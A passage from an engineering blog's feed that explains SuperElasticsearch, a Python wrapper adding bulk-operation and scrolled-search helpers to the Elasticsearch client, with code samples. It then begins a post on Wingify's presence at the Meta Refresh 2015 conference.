punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; client&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;delete&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;index&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;test_index_2&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; doc_type&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;test_doc_type&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;123&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;If you were to achieve the same thing using Bulk APIs, you would end up writing code like this:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; elasticsearch &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; Elasticsearch client &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Elasticsearch&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;hosts&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;localhost:9200&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; bulk_body &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;&apos;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# index operation body&lt;/span&gt; bulk_body &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;{ &quot;index&quot; : { &quot;_index&quot; : &quot;test_index_1&quot;, &quot;_type&quot; : &quot;test_doc_type&quot;, &quot;_id&quot; : &quot;1&quot; } }\n&apos;&lt;/span&gt; bulk_body &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;{ &quot;key1&quot;: &quot;val1&quot; }\n&apos;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# update operation body&lt;/span&gt; bulk_body &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;{ &quot;update&quot; : {&quot;_id&quot; : &quot;456&quot;, &quot;_index&quot; : &quot;test_index_3&quot;, &quot;_type&quot; : &quot;test_doc_type&quot;} }\n&apos;&lt;/span&gt; bulk_body &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;{ &quot;script&quot;: &quot;ctx._source.count += count&quot;, &quot;params&quot;: { &quot;count&quot;: 1 } }\n&apos;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# delete operation body&lt;/span&gt; bulk_body &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;{ &quot;delete&quot; : { &quot;_index&quot; : &quot;test_index_2&quot;, &quot;_type&quot; : &quot;test_doc_type&quot;, &quot;_id&quot; : &quot;123&quot; } }&apos;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# finally, make the request&lt;/span&gt; client&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;bulk&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;body&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;bulk_body&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;There is a ton of difference in how bulk operations work on the code and API level as compared to individual operations.&lt;/p&gt; &lt;ol&gt; &lt;li&gt;The request body is considerably different in Bulk APIs as compared to their individual APIs.&lt;/li&gt; &lt;li&gt;The responsibility of properly serializing request body is now shifted to the developer whereas this can be handled at the client level.&lt;/li&gt; &lt;li&gt;Serialization format itself is a mixup of JSON and new-line character separated string.&lt;/li&gt; &lt;/ol&gt; &lt;p&gt;If you are depending a lot on bulk operations, these problems will bite you when you start using it at a lot of places in your code. The flexibility of manipulating bulk request bodies at will lacks with the current support for Bulk APIs.&lt;/p&gt; &lt;p&gt;The official client as well does not really take care of this issue - not blaming because the author&apos;s objective is to be as unopinionated as possible and this also gave us the chance to do it our way instead of adopt an existing implementation. We wanted to use Bulk API the same way we would use individual APIs. And why shouldn&apos;t it be the same! They are essentially individual operations put together and executed on a different end-point.&lt;/p&gt; &lt;p&gt;Our solution for this was to provide a BulkClient which would allow you to start a bulk operation, execute bulk operations in a way that you would execute individual operations and then when you want to execute them together, it will make the required request body and use the Elasticsearch client to make the request. Exposing bulk operations in a way that semantically look the same as individual operations required us to implement APIs similar to individual APIs on a very high level in the &lt;code class=&quot;language-text&quot;&gt;BulkClient&lt;/code&gt;.&lt;/p&gt; &lt;p&gt;This is how the &lt;code class=&quot;language-text&quot;&gt;BulkClient&lt;/code&gt; works:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; elasticsearch &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; Elasticsearch client &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Elasticsearch&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;hosts&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;localhost:9200&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; bulk &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; BulkClient&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;client&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; bulk&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;index&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;index&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;test_index_1&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; doc_type&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;test_doc_type&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; body&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;dict&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;key1&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;val1&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; bulk&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;delete&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;index&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;test_index_2&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; doc_type&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;test_doc_type&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;123&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; bulk&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;update&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;index&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;test_index_3&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; doc_type&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;test_doc_type&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;456&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; body&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;script&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;ctx._source.count += count&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;params&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;count&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; resp &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; bulk&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;execute&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;h2 id=&quot;scroll-api&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#scroll-api&quot; aria-label=&quot;scroll api permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Scroll API&lt;/h2&gt; &lt;p&gt;The next problem we faced was with Scroll API.&lt;/p&gt; &lt;p&gt;According to the documentation:&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;While a search request returns a single &quot;page&quot; of results, the scroll API can be used to retrieve large numbers of results (or even all results) from a single search request, in much the same way as you would use a cursor on a traditional database.&lt;/p&gt; &lt;/blockquote&gt; &lt;p&gt;Scroll API is helpful if you want to work with a large number of documents - more like get them out of Elasticsearch.&lt;/p&gt; &lt;p&gt;The problem with Scroll API is that it requires you to do a lot of book keeping. You have to keep &lt;code class=&quot;language-text&quot;&gt;scroll_id&lt;/code&gt; after every iteration to get the next set of documents. Depending upon your application, there is probably no work around. However, our use-case was to get a large number of documents all together. You can do that without Scroll API as well i.e. by using the size parameter where you can tell Elasticsearch how many documents to return and you can ask it to return all documents by using the Count Search API first and then passing the size, but that will usually time out (or at least it did for us). So what we did was scroll Elasticsearch in a loop and do the book keeping in the code. And that was simple as well until we had to do it at multiple places&lt;/p&gt; &lt;ul&gt; &lt;li&gt;there was no uniform way to do that and a lot of code repetition was done as well.&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;Our solution to this problem was to create a separate wrapper API only for this purpose and use that everywhere in our project. So we wrote a simple function that would do the book-keeping for us and it could be used like so:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;scrolled_search&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;es&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; scroll&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;args&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;**&lt;/span&gt;kwargs&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token triple-quoted-string string&quot;&gt;&apos;&apos;&apos; Iterator for Elasticsearch Scroll API. :param es: Elasticsearch client object :param str scroll: scroll expiry time according to Elasticsearch Scroll API docs ... Note:: this function accepts `*args` and ``**kwargs`` and passes them as they are to :meth:`Elasticsearch.search` method. &apos;&apos;&apos;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt; es &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Elasticsearch&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;hosts&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;localhost:9200&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; docs &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; scrolled_search&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;es&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;10m&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; index&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;tweets&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; doc &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; docs&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt; doc&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;h3 id=&quot;iterator-based-scrolling-in-elasticsearch-py&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#iterator-based-scrolling-in-elasticsearch-py&quot; aria-label=&quot;iterator based scrolling in elasticsearch py permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Iterator based Scrolling in elasticsearch-py&lt;/h3&gt; &lt;p&gt;We must highlight that the official client also added support for iterator based scrolling later in the official client as a &lt;strong&gt;&lt;em&gt;helper&lt;/em&gt;&lt;/strong&gt;. We had already started using our solution in our project and we find ours is slightly different than theirs. For more details, &lt;a href=&quot;https://elasticsearch-py.readthedocs.org/en/master/helpers.html#elasticsearch.helpers.scan&quot;&gt;read the docs here&lt;/a&gt;.&lt;/p&gt; &lt;h2 id=&quot;superelasticsearch---elasticsearch-py-with-goodies&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#superelasticsearch---elasticsearch-py-with-goodies&quot; aria-label=&quot;superelasticsearch elasticsearch py with goodies permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;SuperElasticsearch - elasticsearch-py with goodies!&lt;/h2&gt; &lt;p&gt;Our solution to both the problems described earlier were based on the official Elasticsearch client. After having solved these two problems, we figured that instead of passing around the client object to our new API, it will be nicer if we can use the new APIs in a way that it feels a part of the client itself. So we went ahead and sub-classed the existing client class Elasticsearch to make it easier to use the new APIs. You can use the sub-classed client SuperElasticsearch like so:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; superelasticsearch &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; SuperElasticsearch client &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; SuperElasticsearch&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;hosts&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;localhost:9200&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# Example of using Scrolled Search&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; doc &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; client&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;itersearch&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;index&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;test_index&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; doc_type&lt;span class=&quot;token string&quot;&gt;&apos;tweets&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; scroll&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;10m&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# do something with doc here&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt; doc &lt;span class=&quot;token comment&quot;&gt;# Example of using Bulk Operations&lt;/span&gt; bulk &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; client&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;bulk_operation&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; bulk&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;index&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;index&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;test_index_1&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; doc_type&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;test_doc_type&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; body&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;dict&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;key1&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;val1&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; bulk&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;delete&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;index&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;test_index_2&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; doc_type&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;test_doc_type&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;123&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; bulk&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;update&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;index&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;test_index_3&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; doc_type&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;test_doc_type&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;456&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; body&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;script&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;ctx._source.count += count&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;params&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;count&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; resp &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; bulk&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;execute&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;This has also made it easy for us to do releases of SuperElasticsearch. SuperElasticsearch does not depend on the official client in ways that it will break compatibility with new releases of the official client, or if it will then we can make the adjustments and come up with a new release. Basically it has been written in a way to work with new versions of the official client with minimum friction. If a new release of the official client comes out, then you should be able to upgrade to the new Elasticsearch client without upgrading SuperElasticsearch. This way we can try to keep developing SuperElasticsearch at its own pace and release only when we have new features to release or when it breaks compatibility. It also makes it easier for you to use the new APIs because you get all of them with the client object itself.&lt;/p&gt; &lt;p&gt;SuperElasticsearch is available on &lt;a href=&quot;https://github.com/wingify/superelasticsearch&quot;&gt;Github&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>Vaidik Kapoor</author></item><item><title><![CDATA[Wingify at Meta Refresh 2015]]></title><description><![CDATA[After hosting the Meta Refresh Delhi Runup Event, it was time for us at Wingify to prep up for MetaRefresh. We were very excited to…]]></description><link>https://engineering.wingify.com//posts/meta-refresh-conference/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/meta-refresh-conference/</guid><pubDate>Tue, 02 Jun 2015 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;After hosting the &lt;a href=&quot;/posts/post-meta-refresh-run-up/&quot;&gt;Meta Refresh Delhi Runup Event&lt;/a&gt;, it was time for us at &lt;a href=&quot;https://wingify.com/&quot;&gt;Wingify&lt;/a&gt; to prep up for &lt;a href=&quot;https://metarefresh.in/2015/&quot;&gt;MetaRefresh&lt;/a&gt;. We were very excited to contribute back to the community by not just sponsoring MetaRefresh, but also by adding content to the conference through a talk and a workshop, both focused towards Web Performance.&lt;/p&gt; &lt;p&gt;We started off our journey from Delhi to Bangalore on 15th May, a day before the conference, and were welcomed by awesome weather at Bangalore. We took off early the next morning and grabbed our bags to march towards MLR Convention Centre, Bangalore to setup our company booth. The setup didn’t take much time, and we were ready to welcome fellow attendees to share more about Wingify through our stall.&lt;/p&gt; &lt;p&gt;While speaking to the attendees, many expressed their interest to get interviewed at Wingify. Usually, we redirect the interested candidates to mail their resume to careers@wingify.com and follow the procedure, though this time, we gave it a unique touch, while using a Hack developed by &lt;a href=&quot;http://paraschopra.com/&quot;&gt;Paras&lt;/a&gt; (our Founder &amp;#x26; CEO), on a hack night. It was a mystery containing different hints that lead to the next clue, solved using browser’s developer console. It was great fun to watch attendees trying their best to crack the hints and unravel the mystery, though only few were able to solve it.&lt;/p&gt; &lt;p&gt;Some moments captured during Meta Refresh 2015:&lt;/p&gt; &lt;div id=&quot;fifth-elephant-gallery&quot;&gt; &lt;img src=&quot;/images/2015/03/conference/0.jpg&quot;&gt; &lt;img src=&quot;/images/2015/03/conference/1.jpg&quot;&gt; &lt;img src=&quot;/images/2015/03/conference/3.jpg&quot;&gt; &lt;img src=&quot;/images/2015/03/conference/4.jpg&quot;&gt; &lt;img src=&quot;/images/2015/03/conference/5.jpg&quot;&gt; &lt;img src=&quot;/images/2015/03/conference/6.jpg&quot;&gt; &lt;img src=&quot;/images/2015/03/conference/7.jpg&quot;&gt; &lt;img src=&quot;/images/2015/03/conference/8.jpg&quot;&gt; &lt;img src=&quot;/images/2015/03/conference/9.jpg&quot;&gt; &lt;img src=&quot;/images/2015/03/conference/10.jpg&quot;&gt; &lt;img src=&quot;/images/2015/03/conference/11.jpg&quot;&gt; &lt;img 